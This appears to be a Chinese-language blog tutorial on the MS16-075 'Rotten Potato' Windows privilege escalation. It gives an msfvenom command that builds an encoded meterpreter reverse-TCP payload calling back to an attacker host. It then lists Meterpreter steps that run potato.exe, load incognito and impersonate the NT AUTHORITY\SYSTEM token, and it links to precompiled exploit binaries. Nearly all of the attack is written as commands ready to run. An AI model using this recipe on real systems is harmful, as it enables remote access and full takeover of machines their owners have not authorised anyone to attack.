烂土豆---MS16-075

 

文章背景--简介

所谓的烂土豆提权就是俗称的MS16-075漏洞编号。

 

 

文章描述--主体

 

演示

 

第一步:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.0.105 LPORT=4444 -f exe > test.exe

 

第二步:

用这个exe反弹到我们的msf上

WTSEnumerateSessions 提权 ms16-075提权_system权限

 

第三步:

我反弹到的直接就是administrator的权限了,现在我们需要获取的system的权限,system权限可以执行administrator不能执行的一些操作,说了也是废话,直接看吧。

WTSEnumerateSessions 提权 ms16-075提权_bc_02

 

第四步:

创建一个新的进程,执行烂土豆程序

execute -cH -f potato.exe 创建新的进程

WTSEnumerateSessions 提权 ms16-075提权_system权限_03

 

第五步:

下面我们就需要假冒令牌了,使用msf的incoginto功能

use incognito     加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)

WTSEnumerateSessions 提权 ms16-075提权_system权限_04

 

第六步:

我们在假冒令牌之前,需要知道当前机器有什么令牌呢?

list_tokens -u               列出目标主机用户的可用令牌

WTSEnumerateSessions 提权 ms16-075提权_system权限_05

 

第七步:

令牌的假冒,从上面可以看到我们有system的这个令牌

impersonate_token   "NT AUTHORITY\SYSTEM"    假冒目标主机上的可用令牌

WTSEnumerateSessions 提权 ms16-075提权_system权限_06

第八步:

验证我们是否提权到了system:

getuid                      查看当前权限

WTSEnumerateSessions 提权 ms16-075提权_system权限_07

推荐一些编译好的烂土豆地址


https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe

https://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exe

https://github.com/foxglovesec/RottenPotato

  

 

写在最后的--总结

windows的提权还是很明确的,基本上通用的提权方式就是,利用脚本查找未打得补丁,根据补丁信息查找相关的提权exp。